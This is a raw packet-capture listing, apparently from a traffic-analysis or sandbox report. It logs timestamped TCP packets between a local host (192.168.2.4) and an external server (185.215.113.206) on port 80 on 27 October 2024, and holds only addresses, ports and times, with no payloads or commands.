Oct 27, 2024 12:13:28.306545973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306559086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306581020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306593895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306616068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306628942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306651115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306662083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306684971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306696892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306721926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306727886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306770086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306791067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306824923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306838989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306858063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306875944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306894064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306905985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306929111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306942940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.306962967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.306979895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307008982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307058096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307090998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307105064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307126045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307137966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307158947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307171106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307193041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307208061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307225943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307240963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307261944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307275057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307298899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307315111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307342052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307353973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307390928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307406902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307425022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307436943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307460070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307471037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307493925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307509899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307535887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307544947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307578087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307591915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307611942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307626009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307646036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307658911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307681084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307694912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307714939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307728052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307749987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307763100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307785988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307796955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307835102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307898045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307931900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307949066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.307965994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.307977915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308000088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308012962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308034897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308051109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308068037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308082104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308101892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308114052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308136940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308149099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308183908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308206081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308239937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308254957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308274031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308305025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308315039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308336020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308339119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308362007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308372974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308396101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308408022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.308423042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.308454037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.345994949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346041918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346098900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346117973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346136093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346160889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346189022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346191883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346225023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346236944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346261024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346271992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346297026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346307039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346332073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346349001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346368074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346380949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346407890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346411943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346460104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346465111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346510887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346512079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346546888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346559048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346580982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346596003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346626043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346637964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346687078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346692085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346734047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346743107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346776009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346796989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346811056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346818924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346854925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346859932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346895933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346916914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346927881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.346941948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346971989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.346977949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347012043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347031116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347057104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347063065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347096920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347110987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347140074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347146988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347198009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347198963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347229958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347243071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347265005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347275972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347297907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347309113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347346067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347387075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347417116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347439051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347450972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347465992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347496033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347501040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347534895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347548008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347573996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347583055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347606897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347623110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347640991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347650051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347675085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347691059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347719908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347728014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347760916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347769976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347795010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347805023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347829103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347842932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347862959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347872972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347897053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347912073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347946882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.347948074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347980976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.347992897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348027945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348031998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348066092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348078966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348099947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348109961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348134041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348148108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348185062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348187923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348238945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348241091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348274946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348288059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348309040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348320961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348342896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348356962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348391056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348393917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348428011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348438978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348462105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348489046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348495960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348515987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348529100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348541021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348562956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348577023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348597050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348612070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348629951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348644018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348680019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348680973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348715067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348730087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348750114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348762989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348784924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348794937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348819017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348824978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348854065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348865032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348887920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348898888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348926067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348937035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348961115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.348977089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.348995924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349001884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349030018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349045992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349065065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349073887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349098921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349113941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349133968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349143982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349168062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349179029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349203110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349215984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349232912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349247932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349273920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349282026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349318027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349333048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349350929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349370003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349386930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349391937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349422932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349431038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349457026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349473000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349490881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349500895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349525928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349539995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349560022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349574089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349595070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349601030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349627972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349648952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349662066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349673033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349690914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349706888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349725962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349735975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349760056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349773884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349795103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349802971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349828959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349843025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349884033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349890947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349920034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349932909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349955082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.349965096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.349992990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.350007057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.350034952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.350044012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.350070000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.350085974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.350106955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.350116968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.350152969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.530607939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.536214113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812587976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812618971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812634945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812669039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812685013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812699080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812700033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.812715054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812768936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.812871933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812890053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812907934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812913895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.812925100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812942028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.812951088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.812992096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813051939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813067913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813082933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813096046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813097954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813114882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813121080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813158035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:28.813215971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813232899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:28.813275099 CET	49730	80	192.168.2.4	185.215.113.206
